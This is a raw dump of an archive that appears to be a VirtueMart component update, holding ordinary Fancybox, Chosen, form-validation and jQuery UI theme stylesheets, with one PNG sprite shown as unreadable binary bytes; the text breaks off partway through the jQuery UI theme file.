progid:DXImageTransform.Microsoft.AlphaImageLoader(src='../images/fancybox/fancy_title_right.png', sizingMethod='scale'); } .fancybox-ie6 #fancybox-bg-w, .fancybox-ie6 #fancybox-bg-e, .fancybox-ie6 #fancybox-left, .fancybox-ie6 #fancybox-right, #fancybox-hide-sel-frame { height: expression(this.parentNode.clientHeight + "px"); } #fancybox-loading.fancybox-ie6 { position: absolute; margin-top: 0; top: expression( (-20 + (document.documentElement.clientHeight ? document.documentElement.clientHeight/2 : document.body.clientHeight/2 ) + ( ignoreMe = document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop )) + 'px'); } #fancybox-loading.fancybox-ie6 div { background: transparent; filter: progid:DXImageTransform.Microsoft.AlphaImageLoader(src='../images/fancybox/fancy_loading.png', sizingMethod='scale'); } /* IE6, IE7, IE8 */ .fancybox-ie .fancybox-bg { background: transparent !important; } .fancybox-ie #fancybox-bg-n { filter: progid:DXImageTransform.Microsoft.AlphaImageLoader(src='../images/fancybox/fancy_shadow_n.png', sizingMethod='scale'); } .fancybox-ie #fancybox-bg-ne { filter: progid:DXImageTransform.Microsoft.AlphaImageLoader(src='../images/fancybox/fancy_shadow_ne.png', sizingMethod='scale'); } .fancybox-ie #fancybox-bg-e { filter: progid:DXImageTransform.Microsoft.AlphaImageLoader(src='../images/fancybox/fancy_shadow_e.png', sizingMethod='scale'); } .fancybox-ie #fancybox-bg-se { filter: progid:DXImageTransform.Microsoft.AlphaImageLoader(src='../images/fancybox/fancy_shadow_se.png', sizingMethod='scale'); } .fancybox-ie #fancybox-bg-s { filter: progid:DXImageTransform.Microsoft.AlphaImageLoader(src='../images/fancybox/fancy_shadow_s.png', sizingMethod='scale'); } .fancybox-ie #fancybox-bg-sw { filter: progid:DXImageTransform.Microsoft.AlphaImageLoader(src='../images/fancybox/fancy_shadow_sw.png', sizingMethod='scale'); } .fancybox-ie #fancybox-bg-w { filter: progid:DXImageTransform.Microsoft.AlphaImageLoader(src='../images/fancybox/fancy_shadow_w.png', sizingMethod='scale'); } .fancybox-ie #fancybox-bg-nw { filter: progid:DXImageTransform.Microsoft.AlphaImageLoader(src='../images/fancybox/fancy_shadow_nw.png', sizingMethod='scale'); }PKtl>\-Lcom_virtuemart_update/components/com_virtuemart/assets/css/chosen-sprite.pngnuW+APNG  IHDR<(tEXtSoftwareAdobe ImageReadyqe<"iTXtXML:com.adobe.xmp eNIDATx;H\A,"Ie# J" V%I!#MHHB@""%HQHg2ܻxYWs|2?gƊ?7˲<>c-Sn 8|W^yZSEG.(@v/5\h=5L&n)KZ"BE1% xYt0'j>q%[ Տ)-{Ca`N=o291c$5•e0!Y%x VA$ Ni.8'b=b=%a;ub{'cTo-SxSqcM˷6H aPl+U H,=N)Id7m-9R-Hу/!Vr7nAiQ qfNLZZ"_4qu)Nky/^O3sX /VsKI1UIb`|!g98LR=9.i 7lbF𻪤%_[( N&*`VӴ57P!aPFr KC9V$V_)5cYx9R<S1E5Zm;M%*amx&)8IENDB`PKtl>\Ecom_virtuemart_update/components/com_virtuemart/assets/css/index.htmlnuW+APKtl>\K88Ecom_virtuemart_update/components/com_virtuemart/assets/css/chosen.cssnuW+A/* @group Base */ .chzn-container { /* font-size: 13px; */ position: relative; display: inline-block; zoom: 1; *display: inline; } .tabs select{ width:180px;} .chzn-container .chzn-drop { background: #fff; border: 1px solid #aaa; border-top: 0; position: absolute; top: 29px; left: 0; -webkit-box-shadow: 0 4px 5px rgba(0,0,0,.15); -moz-box-shadow : 0 4px 5px rgba(0,0,0,.15); -o-box-shadow : 0 4px 5px rgba(0,0,0,.15); box-shadow : 0 4px 5px rgba(0,0,0,.15); z-index: 999; } /* @end */ /* @group Single Chosen */ .chzn-container-single .chzn-single { background-color: #ffffff; filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#ffffff', endColorstr='#eeeeee', GradientType=0 ); background-image: -webkit-gradient(linear, 0% 0%, 0% 100%, color-stop(20%, #ffffff), color-stop(50%, #f6f6f6), color-stop(52%, #eeeeee), color-stop(100%, #f4f4f4)); background-image: -webkit-linear-gradient(top, #ffffff 20%, #f6f6f6 50%, #eeeeee 52%, #f4f4f4 100%); background-image: -moz-linear-gradient(top, #ffffff 20%, #f6f6f6 50%, #eeeeee 52%, #f4f4f4 100%); background-image: -o-linear-gradient(top, #ffffff 20%, #f6f6f6 50%, #eeeeee 52%, #f4f4f4 100%); background-image: -ms-linear-gradient(top, #ffffff 20%, #f6f6f6 50%, #eeeeee 52%, #f4f4f4 100%); background-image: linear-gradient(top, #ffffff 20%, #f6f6f6 50%, #eeeeee 52%, #f4f4f4 100%); -webkit-border-radius: 5px; -moz-border-radius : 5px; border-radius : 5px; -moz-background-clip : padding; -webkit-background-clip: padding-box; background-clip : padding-box; border: 1px solid #aaaaaa; -webkit-box-shadow: 0 0 3px #ffffff inset, 0 1px 1px rgba(0,0,0,0.1); -moz-box-shadow : 0 0 3px #ffffff inset, 0 1px 1px rgba(0,0,0,0.1); box-shadow : 0 0 3px #ffffff inset, 0 1px 1px rgba(0,0,0,0.1); display: block; overflow: visible !important; white-space: nowrap; position: relative; height: 23px; line-height: 24px; padding: 0 0 0 8px; color: #444444; text-decoration: none; } .chzn-container-single .chzn-single span { margin-right: 26px; display: block; overflow: hidden; white-space: nowrap; -o-text-overflow: ellipsis; -ms-text-overflow: ellipsis; text-overflow: ellipsis; } .chzn-container-single .chzn-single abbr { display: block; position: absolute; right: 26px; top: 6px; width: 12px; height: 13px; /* font-size: 1px; */ background: url(chosen-sprite.png) right top no-repeat; } .chzn-container-single .chzn-single abbr:hover { background-position: right -11px; } .chzn-container-single .chzn-single div { position: absolute; right: 0; top: 0; display: block; height: 100%; width: 18px; } .chzn-container-single .chzn-single div b { background: url('chosen-sprite.png') no-repeat 0 0; display: block; width: 100%; height: 100%; } .chzn-container-single .chzn-search { padding: 3px 4px; position: relative; margin: 0; white-space: nowrap; z-index: 1010; } .chzn-container-single .chzn-search input { background: #fff url('chosen-sprite.png') no-repeat 100% -22px; background: url('chosen-sprite.png') no-repeat 100% -22px, -webkit-gradient(linear, 0% 0%, 0% 100%, color-stop(1%, #eeeeee), color-stop(15%, #ffffff)); background: url('chosen-sprite.png') no-repeat 100% -22px, -webkit-linear-gradient(top, #eeeeee 1%, #ffffff 15%); background: url('chosen-sprite.png') no-repeat 100% -22px, -moz-linear-gradient(top, #eeeeee 1%, #ffffff 15%); background: url('chosen-sprite.png') no-repeat 100% -22px, -o-linear-gradient(top, #eeeeee 1%, #ffffff 15%); background: url('chosen-sprite.png') no-repeat 100% -22px, -ms-linear-gradient(top, #eeeeee 1%, #ffffff 15%); background: url('chosen-sprite.png') no-repeat 100% -22px, linear-gradient(top, #eeeeee 1%, #ffffff 15%); margin: 1px 0; padding: 4px 20px 4px 5px; outline: 0; border: 1px solid #aaa; font-family: sans-serif; font-size: 1em; } .chzn-container-single .chzn-drop { -webkit-border-radius: 0 0 4px 4px; -moz-border-radius : 0 0 4px 4px; border-radius : 0 0 4px 4px; -moz-background-clip : padding; -webkit-background-clip: padding-box; background-clip : padding-box; } /* @end */ .chzn-container-single-nosearch .chzn-search input { position: absolute; left: -9000px; } /* @group Multi Chosen */ .chzn-container-multi .chzn-choices { background-color: #fff; background-image: -webkit-gradient(linear, 0% 0%, 0% 100%, color-stop(1%, #eeeeee), color-stop(15%, #ffffff)); background-image: -webkit-linear-gradient(top, #eeeeee 1%, #ffffff 15%); background-image: -moz-linear-gradient(top, #eeeeee 1%, #ffffff 15%); background-image: -o-linear-gradient(top, #eeeeee 1%, #ffffff 15%); background-image: -ms-linear-gradient(top, #eeeeee 1%, #ffffff 15%); background-image: linear-gradient(top, #eeeeee 1%, #ffffff 15%); border: 1px solid #aaa; margin: 0; padding: 0; cursor: text; overflow: hidden; height: auto !important; height: 1%; position: relative; } .chzn-container-multi .chzn-choices li { float: left; list-style: none; } .chzn-container-multi .chzn-choices .search-field { white-space: nowrap; margin: 0; padding: 0; } .chzn-container-multi .chzn-choices .search-field input { color: #666; background: transparent !important; border: 0 !important; font-family: sans-serif; font-size: 100%; height: 15px; padding: 5px; margin: 1px 0; outline: 0; -webkit-box-shadow: none; -moz-box-shadow : none; -o-box-shadow : none; box-shadow : none; } .chzn-container-multi .chzn-choices .search-field .default { color: #999; } .chzn-container-multi .chzn-choices .search-choice { -webkit-border-radius: 3px; -moz-border-radius : 3px; border-radius : 3px; -moz-background-clip : padding; -webkit-background-clip: padding-box; background-clip : padding-box; background-color: #e4e4e4; filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#f4f4f4', endColorstr='#eeeeee', GradientType=0 ); background-image: -webkit-gradient(linear, 0% 0%, 0% 100%, color-stop(20%, #f4f4f4), color-stop(50%, #f0f0f0), color-stop(52%, #e8e8e8), color-stop(100%, #eeeeee)); background-image: -webkit-linear-gradient(top, #f4f4f4 20%, #f0f0f0 50%, #e8e8e8 52%, #eeeeee 100%); background-image: -moz-linear-gradient(top, #f4f4f4 20%, #f0f0f0 50%, #e8e8e8 52%, #eeeeee 100%); background-image: -o-linear-gradient(top, #f4f4f4 20%, #f0f0f0 50%, #e8e8e8 52%, #eeeeee 100%); background-image: -ms-linear-gradient(top, #f4f4f4 20%, #f0f0f0 50%, #e8e8e8 52%, #eeeeee 100%); background-image: linear-gradient(top, #f4f4f4 20%, #f0f0f0 50%, #e8e8e8 52%, #eeeeee 100%); -webkit-box-shadow: 0 0 2px #ffffff inset, 0 1px 0 rgba(0,0,0,0.05); -moz-box-shadow : 0 0 2px #ffffff inset, 0 1px 0 rgba(0,0,0,0.05); box-shadow : 0 0 2px #ffffff inset, 0 1px 0 rgba(0,0,0,0.05); color: #333; border: 1px solid #aaaaaa; line-height: 13px; padding: 3px 20px 3px 5px; margin: 3px 0 3px 5px; position: relative; cursor: default; } .chzn-container-multi .chzn-choices .search-choice-focus { background: #d4d4d4; } .chzn-container-multi .chzn-choices .search-choice .search-choice-close { display: block; position: absolute; right: 3px; top: 4px; width: 12px; height: 13px; font-size: 1px; background: url(chosen-sprite.png) right top no-repeat; } .chzn-container-multi .chzn-choices .search-choice .search-choice-close:hover { background-position: right -11px; } .chzn-container-multi .chzn-choices .search-choice-focus .search-choice-close { background-position: right -11px; } /* @end */ /* @group Results */ .chzn-container .chzn-results { margin: 0 4px 4px 0; max-height: 240px; padding: 0 0 0 4px; position: relative; overflow-x: hidden; overflow-y: auto; } .chzn-container-multi .chzn-results { margin: -1px 0 0; padding: 0; } .chzn-container .chzn-results li { display: none; line-height: 15px; padding: 5px 6px; margin: 0; list-style: none; } .chzn-container .chzn-results .active-result { cursor: pointer; display: list-item; } .chzn-container .chzn-results .highlighted { background-color: #3875d7; filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#3875d7', endColorstr='#2a62bc', GradientType=0 ); background-image: -webkit-gradient(linear, 0% 0%, 0% 100%, color-stop(20%, #3875d7), color-stop(90%, #2a62bc)); background-image: -webkit-linear-gradient(top, #3875d7 20%, #2a62bc 90%); background-image: -moz-linear-gradient(top, #3875d7 20%, #2a62bc 90%); background-image: -o-linear-gradient(top, #3875d7 20%, #2a62bc 90%); background-image: -ms-linear-gradient(top, #3875d7 20%, #2a62bc 90%); background-image: linear-gradient(top, #3875d7 20%, #2a62bc 90%); color: #fff; } .chzn-container .chzn-results li em { background: #feffde; font-style: normal; } .chzn-container .chzn-results .highlighted em { background: transparent; } .chzn-container .chzn-results .no-results { background: #f4f4f4; display: list-item; } .chzn-container .chzn-results .group-result { cursor: default; color: #999; font-weight: bold; } .chzn-container .chzn-results .group-option { padding-left: 15px; } .chzn-container-multi .chzn-drop .result-selected { display: none; } .chzn-container .chzn-results-scroll { background: white; margin: 0 4px; position: absolute; text-align: center; width: 321px; /* This should by dynamic with js */ z-index: 1; } .chzn-container .chzn-results-scroll span { display: inline-block; height: 17px; text-indent: -5000px; width: 9px; } .chzn-container .chzn-results-scroll-down { bottom: 0; } .chzn-container .chzn-results-scroll-down span { background: url('chosen-sprite.png') no-repeat -4px -3px; } .chzn-container .chzn-results-scroll-up span { background: url('chosen-sprite.png') no-repeat -22px -3px; } /* @end */ /* @group Active */ .chzn-container-active .chzn-single { -webkit-box-shadow: 0 0 5px rgba(0,0,0,.3); -moz-box-shadow : 0 0 5px rgba(0,0,0,.3); -o-box-shadow : 0 0 5px rgba(0,0,0,.3); box-shadow : 0 0 5px rgba(0,0,0,.3); border: 1px solid #5897fb; } .chzn-container-active .chzn-single-with-drop { border: 1px solid #aaa; -webkit-box-shadow: 0 1px 0 #fff inset; -moz-box-shadow : 0 1px 0 #fff inset; -o-box-shadow : 0 1px 0 #fff inset; box-shadow : 0 1px 0 #fff inset; background-color: #eee; filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#eeeeee', endColorstr='#ffffff', GradientType=0 ); background-image: -webkit-gradient(linear, 0% 0%, 0% 100%, color-stop(20%, #eeeeee), color-stop(80%, #ffffff)); background-image: -webkit-linear-gradient(top, #eeeeee 20%, #ffffff 80%); background-image: -moz-linear-gradient(top, #eeeeee 20%, #ffffff 80%); background-image: -o-linear-gradient(top, #eeeeee 20%, #ffffff 80%); background-image: -ms-linear-gradient(top, #eeeeee 20%, #ffffff 80%); background-image: linear-gradient(top, #eeeeee 20%, #ffffff 80%); -webkit-border-bottom-left-radius : 0; -webkit-border-bottom-right-radius: 0; -moz-border-radius-bottomleft : 0; -moz-border-radius-bottomright: 0; border-bottom-left-radius : 0; border-bottom-right-radius: 0; } .chzn-container-active .chzn-single-with-drop div { background: transparent; border-left: none; } .chzn-container-active .chzn-single-with-drop div b { background-position: -18px 1px; } .chzn-container-active .chzn-choices { -webkit-box-shadow: 0 0 5px rgba(0,0,0,.3); -moz-box-shadow : 0 0 5px rgba(0,0,0,.3); -o-box-shadow : 0 0 5px rgba(0,0,0,.3); box-shadow : 0 0 5px rgba(0,0,0,.3); border: 1px solid #5897fb; } .chzn-container-active .chzn-choices .search-field input { color: #111 !important; } /* @end */ /* @group Disabled Support */ .chzn-disabled { cursor: default; opacity:0.5 !important; } .chzn-disabled .chzn-single { cursor: default; } .chzn-disabled .chzn-choices .search-choice .search-choice-close { cursor: default; } /* @group Right to Left */ .chzn-rtl { text-align: right; } .chzn-rtl .chzn-single { padding: 0 8px 0 0; overflow: visible; } .chzn-rtl .chzn-single span { margin-left: 26px; margin-right: 0; direction: rtl; } .chzn-rtl .chzn-single div { left: 3px; right: auto; } .chzn-rtl .chzn-single abbr { left: 26px; right: auto; } .chzn-rtl .chzn-choices .search-field input { direction: rtl; } .chzn-rtl .chzn-choices li { float: right; } .chzn-rtl .chzn-choices .search-choice { padding: 3px 5px 3px 19px; margin: 3px 5px 3px 0; } .chzn-rtl .chzn-choices .search-choice .search-choice-close { left: 4px; right: auto; background-position: right top;} .chzn-rtl.chzn-container-single .chzn-results { margin: 0 0 4px 4px; padding: 0 4px 0 0; } .chzn-rtl .chzn-results .group-option { padding-left: 0; padding-right: 15px; } .chzn-rtl.chzn-container-active .chzn-single-with-drop div { border-right: none; } .chzn-rtl .chzn-search input { background: #fff url('chosen-sprite.png') no-repeat -38px -22px; background: url('chosen-sprite.png') no-repeat -38px -22px, -webkit-gradient(linear, 0% 0%, 0% 100%, color-stop(1%, #eeeeee), color-stop(15%, #ffffff)); background: url('chosen-sprite.png') no-repeat -38px -22px, -webkit-linear-gradient(top, #eeeeee 1%, #ffffff 15%); background: url('chosen-sprite.png') no-repeat -38px -22px, -moz-linear-gradient(top, #eeeeee 1%, #ffffff 15%); background: url('chosen-sprite.png') no-repeat -38px -22px, -o-linear-gradient(top, #eeeeee 1%, #ffffff 15%); background: url('chosen-sprite.png') no-repeat -38px -22px, -ms-linear-gradient(top, #eeeeee 1%, #ffffff 15%); background: url('chosen-sprite.png') no-repeat -38px -22px, linear-gradient(top, #eeeeee 1%, #ffffff 15%); padding: 4px 5px 4px 20px; direction: rtl; } /* @end */ /* @group Select all options */ .chzn-select-all { background: #f8f8f8; border-top: 1px solid #ededed; color: #346f9b; cursor:pointer; display: block; font-size: 12px; font-weight: bold; padding: 5px 6px; text-align: center; text-decoration: none; } /* @end */ /* overwrite the element.style only necessary for the beez standard template, you may remove it */ div.moduletable_js div.slide, div.moduletable_js div.module_content{ overflow:visible !important; } PKtl>\( Vcom_virtuemart_update/components/com_virtuemart/assets/css/validationEngine.jquery.cssnuW+A.inputContainer { position: relative; float: left; } .formError { position: absolute; top: 300px; left: 300px; display: block; z-index: 5000; cursor: pointer; } .ajaxSubmit { padding: 20px; background: #55ea55; border: 1px solid #999; display: none } .formError .formErrorContent { width: 100%; background: #ee0101; position:relative; z-index:5001; color: #fff; width: 150px; font-family: tahoma; font-size: 11px; border: 2px solid #ddd; box-shadow: 0 0 6px #000; -moz-box-shadow: 0 0 6px #000; -webkit-box-shadow: 0 0 6px #000; padding: 4px 10px 4px 10px; border-radius: 6px; -moz-border-radius: 6px; -webkit-border-radius: 6px; } .greenPopup .formErrorContent { background: #33be40; } .blackPopup .formErrorContent { background: #393939; color: #FFF; } .formError .formErrorArrow { width: 15px; margin: -2px 0 0 13px; position:relative; z-index: 5006; } .formError .formErrorArrowBottom { box-shadow: none; -moz-box-shadow: none; -webkit-box-shadow: none; margin: 0px 0 0 12px; top:2px; } .formError .formErrorArrow div { border-left: 2px solid #ddd; border-right: 2px solid #ddd; box-shadow: 0 2px 3px #444; -moz-box-shadow: 0 2px 3px #444; -webkit-box-shadow: 0 2px 3px #444; font-size: 0px; height: 1px; background: #ee0101; margin: 0 auto; line-height: 0; font-size: 0; display: block; } .formError .formErrorArrowBottom div { box-shadow: none; -moz-box-shadow: none; -webkit-box-shadow: none; } .greenPopup .formErrorArrow div { background: #33be40; } .blackPopup .formErrorArrow div { background: #393939; color: #FFF; } .formError .formErrorArrow .line10 { width: 15px; border: none; } .formError .formErrorArrow .line9 { width: 13px; border: none; } .formError .formErrorArrow .line8 { width: 11px; } .formError .formErrorArrow .line7 { width: 9px; } .formError .formErrorArrow .line6 { width: 7px; } .formError .formErrorArrow .line5 { width: 5px; } .formError .formErrorArrow .line4 { width: 3px; } .formError .formErrorArrow .line3 { width: 1px; border-left: 2px solid #ddd; border-right: 2px solid #ddd; border-bottom: 0 solid #ddd; } .formError .formErrorArrow .line2 { width: 3px; border: none; background: #ddd; } .formError .formErrorArrow .line1 { width: 1px; border: none; background: #ddd; } PKtl>\M7FFQcom_virtuemart_update/components/com_virtuemart/assets/css/ui/jquery.ui.theme.cssnuW+A/* * jQuery UI CSS Framework 1.8.14 * * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Theming/API * * To view and modify this theme, visit http://jqueryui.com/themeroller/ */ /* Component containers ----------------------------------*/ .ui-widget { font-family: Verdana,Arial,sans-serif/*{ffDefault}*/; font-size: 1.1em/*{fsDefault}*/; } .ui-widget .ui-widget { font-size: 1em; } .ui-widget input, .ui-widget select, .ui-widget textarea, .ui-widget button { font-family: Verdana,Arial,sans-serif/*{ffDefault}*/; font-size: 1em; } .ui-widget-content { border: 1px solid #aaaaaa/*{borderColorContent}*/; background: #ffffff/*{bgColorContent}*/ url(images/ui-bg_flat_75_ffffff_40x100.png)/*{bgImgUrlContent}*/ 50%/*{bgContentXPos}*/ 50%/*{bgContentYPos}*/ repeat-x/*{bgContentRepeat}*/; color: #222222/*{fcContent}*/; } .ui-widget-content a { color: #222222/*{fcContent}*/; } .ui-widget-header { border: 1px solid #aaaaaa/*{borderColorHeader}*/; background: #cccccc/*{bgColorHeader}*/ url(images/ui-bg_highlight-soft_75_cccccc_1x100.png)/*{bgImgUrlHeader}*/ 50%/*{bgHeaderXPos}*/ 50%/*{bgHeaderYPos}*/ repeat-x/*{bgHeaderRepeat}*/; color: #222222/*{fcHeader}*/; font-weight: bold; } .ui-widget-header a { color: #222222/*{fcHeader}*/; } /* Interaction states ----------------------------------*/ .ui-state-default, .ui-widget-content .ui-state-default, .ui-widget-header .ui-state-default { border: 1px solid #d3d3d3/*{borderColorDefault}*/; background: #e6e6e6/*{bgColorDefault}*/ url(images/ui-bg_glass_75_e6e6e6_1x400.png)/*{bgImgUrlDefault}*/ 50%/*{bgDefaultXPos}*/ 50%/*{bgDefaultYPos}*/ repeat-x/*{bgDefaultRepeat}*/; font-weight: normal/*{fwDefault}*/; color: #555555/*{fcDefault}*/; } .ui-state-default a, .ui-state-default a:link, .ui-state-default a:visited { color: #555555/*{fcDefault}*/; text-decoration: none; } .ui-state-hover, .ui-widget-content .ui-state-hover, .ui-widget-header .ui-state-hover, .ui-state-focus, .ui-widget-content .ui-state-focus, .ui-widget-header .ui-state-focus { border: 1px solid #999999/*{borderColorHover}*/; background: #dadada/*{bgColorHover}*/ url(images/ui-bg_glass_75_dadada_1x400.png)/*{bgImgUrlHover}*/ 50%/*{bgHoverXPos}*/ 50%/*{bgHoverYPos}*/ repeat-x/*{bgHoverRepeat}*/; font-weight: normal/*{fwDefault}*/; color: #212121/*{fcHover}*/; } .ui-state-hover a, .ui-state-hover a:hover { color: #212121/*{fcHover}*/; text-decoration: none; } .ui-state-active, .ui-widget-content .ui-state-active, .ui-widget-header .ui-state-active { border: 1px solid #aaaaaa/*{borderColorActive}*/; background: #ffffff/*{bgColorActive}*/ url(images/ui-bg_glass_65_ffffff_1x400.png)/*{bgImgUrlActive}*/ 50%/*{bgActiveXPos}*/ 50%/*{bgActiveYPos}*/ repeat-x/*{bgActiveRepeat}*/; font-weight: normal/*{fwDefault}*/; color: #212121/*{fcActive}*/; } .ui-state-active a, .ui-state-active a:link, .ui-state-active a:visited { color: #212121/*{fcActive}*/; text-decoration: none; } .ui-widget :active { outline: none; } /* Interaction Cues ----------------------------------*/ .ui-state-highlight, .ui-widget-content .ui-state-highlight, .ui-widget-header .ui-state-highlight {border: 1px solid #fcefa1/*{borderColorHighlight}*/; background: #fbf9ee/*{bgColorHighlight}*/ url(images/ui-bg_glass_55_fbf9ee_1x400.png)/*{bgImgUrlHighlight}*/ 50%/*{bgHighlightXPos}*/ 50%/*{bgHighlightYPos}*/ repeat-x/*{bgHighlightRepeat}*/; color: #363636/*{fcHighlight}*/; } .ui-state-highlight a, .ui-widget-content .ui-state-highlight a,.ui-widget-header .ui-state-highlight a { color: #363636/*{fcHighlight}*/; } .ui-state-error, .ui-widget-content .ui-state-error, .ui-widget-header .ui-state-error {border: 1px solid #cd0a0a/*{borderColorError}*/; background: #fef1ec/*{bgColorError}*/ url(images/ui-bg_glass_95_fef1ec_1x400.png)/*{bgImgUrlError}*/ 50%/*{bgErrorXPos}*/ 50%/*{bgErrorYPos}*/ repeat-x/*{bgErrorRepeat}*/; color: #cd0a0a/*{fcError}*/; } .ui-state-error a, .ui-widget-content .ui-state-error a, .ui-widget-header .ui-state-error a { color: #cd0a0a/*{fcError}*/; } .ui-state-error-text, .ui-widget-content .ui-state-error-text, .ui-widget-header .ui-state-error-text { color: #cd0a0a/*{fcError}*/; } .ui-priority-primary, .ui-widget-content .ui-priority-primary, .ui-widget-header .ui-priority-primary { font-weight: bold; } .ui-priority-secondary, .ui-widget-content .ui-priority-secondary, .ui-widget-header .ui-priority-secondary { opacity: .7; filter:Alpha(Opacity=70); font-weight: normal; } .ui-state-disabled, .ui-widget-content .ui-state-disabled, .ui-widget-header .ui-state-disabled { opacity: .35; filter:Alpha(Opacity=35); background-image: none; } /* Icons ----------------------------------*/ /* states and images */ .ui-icon { width: 16px; height: 16px; background-image: url(images/ui-icons_222222_256x240.png)/*{iconsContent}*/; } .ui-widget-content .ui-icon {background-image: url(images/ui-icons_222222_256x240.png)/*{iconsContent}*/; } .ui-widget-header .ui-icon {background-image: url(images/ui-icons_222222_256x240.png)/*{iconsHeader}*/; } .ui-state-default .ui-icon { background-image: url(images/ui-icons_888888_256x240.png)/*{iconsDefault}*/; } .ui-state-hover .ui-icon, .ui-state-focus .ui-icon {background-image: url(images/ui-icons_454545_256x240.png)/*{iconsHover}*/; } .ui-state-active .ui-icon {background-image: url(images/ui-icons_454545_256x240.png)/*{iconsActive}*/; } .ui-state-highlight .ui-icon {background-image: url(images/ui-icons_2e83ff_256x240.png)/*{iconsHighlight}*/; } .ui-state-error .ui-icon, .ui-state-error-text .ui-icon {background-image: url(images/ui-icons_cd0a0a_256x240.png)/*{iconsError}*/; } /* positioning */ .ui-icon-carat-1-n { background-position: 0 0; } .ui-icon-carat-1-ne { background-position: -16px 0; } .ui-icon-carat-1-e { background-position: -32px 0; } .ui-icon-carat-1-se { background-position: -48px 0; } .ui-icon-carat-1-s { background-position: -64px 0; } .ui-icon-carat-1-sw { background-position: -80px 0; } .ui-icon-carat-1-w { background-position: -96px 0; } .ui-icon-carat-1-nw { background-position: -112px 0; } .ui-icon-carat-2-n-s { background-position: -128px 0; } .ui-icon-carat-2-e-w { background-position: -144px 0; } .ui-icon-triangle-1-n { background-position: 0 -16px; } .ui-icon-triangle-1-ne { background-position: -16px -16px; } .ui-icon-triangle-1-e { background-position: -32px -16px; } .ui-icon-triangle-1-se { background-position: -48px -16px; } .ui-icon-triangle-1-s { background-position: -64px -16px; } .ui-icon-triangle-1-sw { background-position: -80px -16px; } .ui-icon-triangle-1-w { background-position: -96px -16px; } .ui-icon-triangle-1-nw { background-position: -112px -16px; } .ui-icon-triangle-2-n-s { background-position: -128px -16px; } .ui-icon-triangle-2-e-w { background-position: -144px -16px; } .ui-icon-arrow-1-n { background-position: 0 -32px; } .ui-icon-arrow-1-ne { background-position: -16px -32px; } .ui-icon-arrow-1-e { background-position: -32px -32px; } .ui-icon-arrow-1-se { background-position: -48px -32px; } .ui-icon-arrow-1-s { background-position: -64px -32px; } .ui-icon-arrow-1-sw { background-position: -80px -32px; } .ui-icon-arrow-1-w { background-position: -96px -32px; } .ui-icon-arrow-1-nw { background-position: -112px -32px; } .ui-icon-arrow-2-n-s { background-position: -128px -32px; } .ui-icon-arrow-2-ne-sw { background-position: -144px -32px; } .ui-icon-arrow-2-e-w { background-position: -160px -32px; } .ui-icon-arrow-2-se-nw { background-position: -176px -32px; } .ui-icon-arrowstop-1-n { background-position: -192px -32px; } .ui-icon-arrowstop-1-e { background-position: -208px -32px; } .ui-icon-arrowstop-1-s { background-position: -224px -32px; } .ui-icon-arrowstop-1-w { background-position: -240px -32px; } .ui-icon-arrowthick-1-n { background-position: 0 -48px; } .ui-icon-arrowthick-1-ne { background-position: -16px -48px; } .ui-icon-arrowthick-1-e { background-position: -32px -48px; } .ui-icon-arrowthick-1-se { background-position: -48px -48px; } .ui-icon-arrowthick-1-s { background-position: -64px -48px; } .ui-icon-arrowthick-1-sw { background-position: -80px -48px; } .ui-icon-arrowthick-1-w { background-position: -96px -48px; } .ui-icon-arrowthick-1-nw { background-position: -112px -48px; } .ui-icon-arrowthick-2-n-s { background-position: -128px -48px; } .ui-icon-arrowthick-2-ne-sw { background-position: -144px -48px; } .ui-icon-arrowthick-2-e-w { background-position: -160px -48px; } .ui-icon-arrowthick-2-se-nw { background-position: -176px -48px; } .ui-icon-arrowthickstop-1-n { background-position: -192px -48px; } .ui-icon-arrowthickstop-1-e { background-position: -208px -48px; } .ui-icon-arrowthickstop-1-s { background-position: -224px -48px; } .ui-icon-arrowthickstop-1-w { background-position: -240px -48px; } .ui-icon-arrowreturnthick-1-w { background-position: 0 -64px; } .ui-icon-arrowreturnthick-1-n { background-position: -16px -64px; } .ui-icon-arrowreturnthick-1-e { background-position: -32px -64px; } .ui-icon-arrowreturnthick-1-s { background-position: -48px -64px; } .ui-icon-arrowreturn-1-w { background-position: -64px -64px; } .ui-icon-arrowreturn-1-n { background-position: -80px -64px; } .ui-icon-arrowreturn-1-e { background-position: -96px -64px; } .ui-icon-arrowreturn-1-s { background-position: -112px -64px; } .ui-icon-arrowrefresh-1-w { background-position: -128px -64px; } .ui-icon-arrowrefresh-1-n { background-position: -144px -64px; } .ui-icon-arrowrefresh-1-e { background-position: -160px -64px; } .ui-icon-arrowrefresh-1-s { background-position: -176px -64px; } .ui-icon-arrow-4 { background-position: 0 -80px; } .ui-icon-arrow-4-diag { background-position: -16px -80px; } .ui-icon-extlink { background-position: -32px -80px; } .ui-icon-newwin { background-position: -48px -80px; } .ui-icon-refresh { background-position: -64px -80px; } .ui-icon-shuffle { background-position: -80px -80px; } .ui-icon-transfer-e-w { background-position: -96px -80px; } .ui-icon-transferthick-e-w { background-position: -112px -80px; } .ui-icon-folder-collapsed { background-position: 0 -96px; } .ui-icon-folder-open { background-position: -16px -96px; } .ui-icon-document { background-position: -32px -96px; } .ui-icon-document-b { background-position: -48px -96px; } .ui-icon-note { background-position: -64px -96px; } .ui-icon-mail-closed { background-position: -80px -96px; } .ui-icon-mail-open { background-position: -96px -96px; } .ui-icon-suitcase { background-position: -112px -96px; } .ui-icon-comment { background-position: -128px -96px; } .ui-icon-person { background-position: -144px -96px; } .ui-icon-print { background-position: -160px -96px; } .ui-icon-trash { background-position: -176px -96px; } .ui-icon-locked { background-position: -192px -96px; } .ui-icon-unlocked { background-position: -208px -96px; } .ui-icon-bookmark { background-position: -224px -96px; } .ui-icon-tag { background-position: -240px -96px; } .ui-icon-home { background-position: 0 -112px; } .ui-icon-flag { background-position: -16px -112px; } .ui-icon-calendar { background-position: -32px -112px; } .ui-icon-cart { background-position: -48px -112px; } .ui-icon-pencil { background-position: -64px -112px; } .ui-icon-clock { background-position: -80px -112px; } .ui-icon-disk { background-position: -96px -112px; } .ui-icon-calculator { background-position: -112px -112px; } .ui-icon-zoomin { background-position: -128px -112px; } .ui-icon-zoomout { background-position: -144px -112px; } .ui-icon-search { background-position: -160px -112px; } .ui-icon-wrench { background-position: -176px -112px; } .ui-icon-gear { 